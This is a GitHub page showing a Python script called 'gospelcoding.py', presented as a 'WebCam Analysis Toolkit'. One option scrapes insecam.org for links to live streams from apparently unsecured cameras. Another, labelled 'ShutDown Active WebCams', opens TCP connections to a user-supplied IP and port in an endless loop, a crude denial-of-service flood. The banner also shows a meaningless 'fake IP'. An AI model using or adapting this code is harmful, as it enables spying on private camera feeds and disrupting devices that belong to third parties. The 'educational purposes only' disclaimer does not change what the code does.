-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgospelcoding.py
More file actions
141 lines (129 loc) · 6.55 KB
/
gospelcoding.py
File metadata and controls
141 lines (129 loc) · 6.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# this is a webcam analysis toolkit that's perform webcam tracking i.e location, id, and its status
# this is is only built for educational purposes only... don't misuse this tool!!!
# start
import time
import os
import socket
import requests
import cfonts
from requests.structures import CaseInsensitiveDict
from colorama import Fore, Back
import re
import random
headers = CaseInsensitiveDict()
headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
headers["Cache-Control"] = "max-age=0"
headers["Connection"] = "keep-alive"
headers["Host"] = "www.insecam.org"
headers["Upgrade-Insecure-Requests"] = "1"
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36"
# ...
if os.name == 'posix':
os.system('clear')
elif os.name == 'nt':
os.system('cls')
else:
print(Fore.RED+'[*] Unable To Clear Screen Output...'+Fore.WHITE)
#
#...
ip = ('.'.join(str(random.randint(0, 255)) for _ in range(4)))
# ...
app_title = cfonts.render('Gospel Coding', colors=['red', 'blue'], align='center')
print(app_title)
print(Fore.YELLOW+'WebCam Analysis Toolkit'.center(66)+Fore.WHITE)
print(Fore.BLUE+'V4.3.1'.center(66)+Fore.WHITE)
print(Fore.YELLOW+f'[ This Is Your Fake IP - {ip} ]'.center(66)+Fore.WHITE)
#
# ...
print(Fore.GREEN+'[01] Fetch Active WebCams In A Country'+Fore.WHITE, '\n')
print(Fore.GREEN+'\n[02] Get Latest WebCams Footages In A Country [image video]'+Fore.WHITE, '\n')
print(Fore.GREEN+'\n[03] ShutDown Active WebCams'+Fore.WHITE, '\n')
#
# ...
opt = int(input(Fore.BLUE+'[*] Option >> '+Fore.WHITE))
print('\n')
if opt == 1:
print(Fore.YELLOW+'[*] Enter Your API Key To Continue... If Not Available Then Request For An API Key At https://api.windy.com'+Fore.WHITE, '\n')
apikey = input(Fore.BLUE+'Enter API Key To Continue >> '+Fore.WHITE)
print('\n')
print(Fore.BLUE+'[*] Validating API Key... Please Wait.'+Fore.WHITE, '\n')
req = requests.get('https://api.windy.com/api/webcams/v2/list/country=GB/orderby=popularity/limit=20?key={}'.format(apikey))
if req.text == 'Forbidden':
print(Fore.RED+'\n[*] The API Key You Provided Is Incorrect... Check And Try Again!!!\n'+Fore.WHITE)
exit(0)
else:
pass
country = input(Fore.BLUE+'[*] Country [Alpha-2-Code] >> '+Fore.WHITE).upper()
category = input(Fore.BLUE+'\n[*] Category [beach airport city bay area building camping forest island marketplace mountain other landscape] >> '+Fore.WHITE)
if len(country) == 2:
pass
else:
print(Fore.RED+'\n[*] The Country Code Must Be An Alpha-2-Code e.g NG For Nigeria CA For Canada EU For Europe And So On...'+Fore.WHITE)
print(Fore.YELLOW+'\n[*] Fetching Active WebCams At {}... '.format(country)+Fore.WHITE, '\n')
fetch = requests.get('https://api.windy.com/api/webcams/v2/list/category={}/country={}/orderby=popularity/limit=20?key={}'.format(category, country, apikey))
if fetch.text == '{"status":"OK","result":{"offset":0,"limit":20,"total":0,"webcams":[]}}':
print(Fore.GREEN+'\n[*] No Active WebCams Available...'+Fore.WHITE)
exit(0)
else:
pass
response = eval(fetch.text)['result']['webcams']
for data in response:
print(Fore.BLUE+'[*] WebCam ID - ', data['id'], Fore.GREEN+'Status -', data['status'], Fore.YELLOW+'Location - ', data['title'], '\n')
elif opt == 2:
print(Fore.YELLOW+'[*] Enter Your API Key To Continue... If Not Available Then Request For An API Key At https://api.windy.com'+Fore.WHITE, '\n')
apikey = input(Fore.BLUE+'Enter API Key To Continue >> '+Fore.WHITE)
print('\n')
print(Fore.BLUE+'[*] Validating API Key... Please Wait.'+Fore.WHITE, '\n')
req = requests.get('https://api.windy.com/api/webcams/v2/list/country=GB/orderby=popularity/limit=20?key={}'.format(apikey))
if req.text == 'Forbidden':
print(Fore.RED+'\n[*] The API Key You Provided Is Incorrect... Check And Try Again!!!\n'+Fore.WHITE)
exit(0)
else:
pass
country = input(Fore.BLUE+'[*] Country [Alpha-2-Code] >> '+Fore.WHITE).upper()
print(Fore.YELLOW+'\n[*] Fetching Latest WebCams Footages At {}... '.format(country)+Fore.WHITE, '\n')
fetch = requests.get(f'http://www.insecam.org/en/bycountry/{country}', headers = headers)
srch = re.findall('http://\d+.\d+.\d+.\d+:\d+/[a-z]+/[a-z]+.[a-z]+', fetch.text)
for footages in srch:
print(Fore.RED+'[*] '+footages+Fore.WHITE, '\n')
if len(srch) in [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]:
fetch = requests.get(
f"http://www.insecam.org/en/bycountry/{country}/?page=2",
headers=headers
)
srch = re.findall(r"http://\d+.\d+.\d+.\d+:\d+/[a-z]+/[a-z]+.[a-z]+", fetch.text)
for footages in srch:
print(Fore.RED+'[*] '+footages+Fore.WHITE, '\n')
if len(srch) in [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]:
fetch = requests.get(
f"http://www.insecam.org/en/bycountry/{country}/?page=3",
headers=headers
)
srch = re.findall(r"http://\d+.\d+.\d+.\d+:\d+/[a-z]+/[a-z]+.[a-z]+", fetch.text)
for footages in srch:
print(Fore.RED+'[*] '+footages+Fore.WHITE, '\n')
elif opt == 3:
print(Fore.YELLOW+'[*] Enter Your API Key To Continue... If Not Available Then Request For An API Key At https://api.windy.com'+Fore.WHITE, '\n')
apikey = input(Fore.BLUE+'Enter API Key To Continue >> '+Fore.WHITE)
print('\n')
print(Fore.BLUE+'[*] Validating API Key... Please Wait.'+Fore.WHITE)
req = requests.get(f'https://api.windy.com/api/webcams/v2/list/country=GB/orderby=popularity/limit=20?key={apikey}')
if req.text == 'Forbidden':
print(Fore.RED+'\n[*] The API Key You Provided Is Incorrect... Check And Try Again Later\n'+Fore.WHITE)
exit(0)
else:
pass
webcam_ip = input(Fore.BLUE+'\n[*] Enter WebCam I.P >> '+Fore.WHITE)
print('\n')
port = int(input(Fore.YELLOW+'[*] Port Address >> '+Fore.WHITE))
print('\n')
def shutdown_webcam():
print(Fore.RED+f'[*] Connected To {webcam_ip}:{port} Successfully'+Fore.WHITE)
time.sleep(2)
print(Fore.RED+'\n[*] Attack Started Successfully...'+Fore.WHITE, '\n')
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((webcam_ip, port))
s.sendto(('GET /'+ webcam_ip + 'HTTP/1.0\r\n').encode('ascii'), (webcam_ip, port))
s.sendto(('Host /'+ ip + 'HTTP/1.0\r\n').encode('ascii'), (webcam_ip, port))
shutdown_webcam()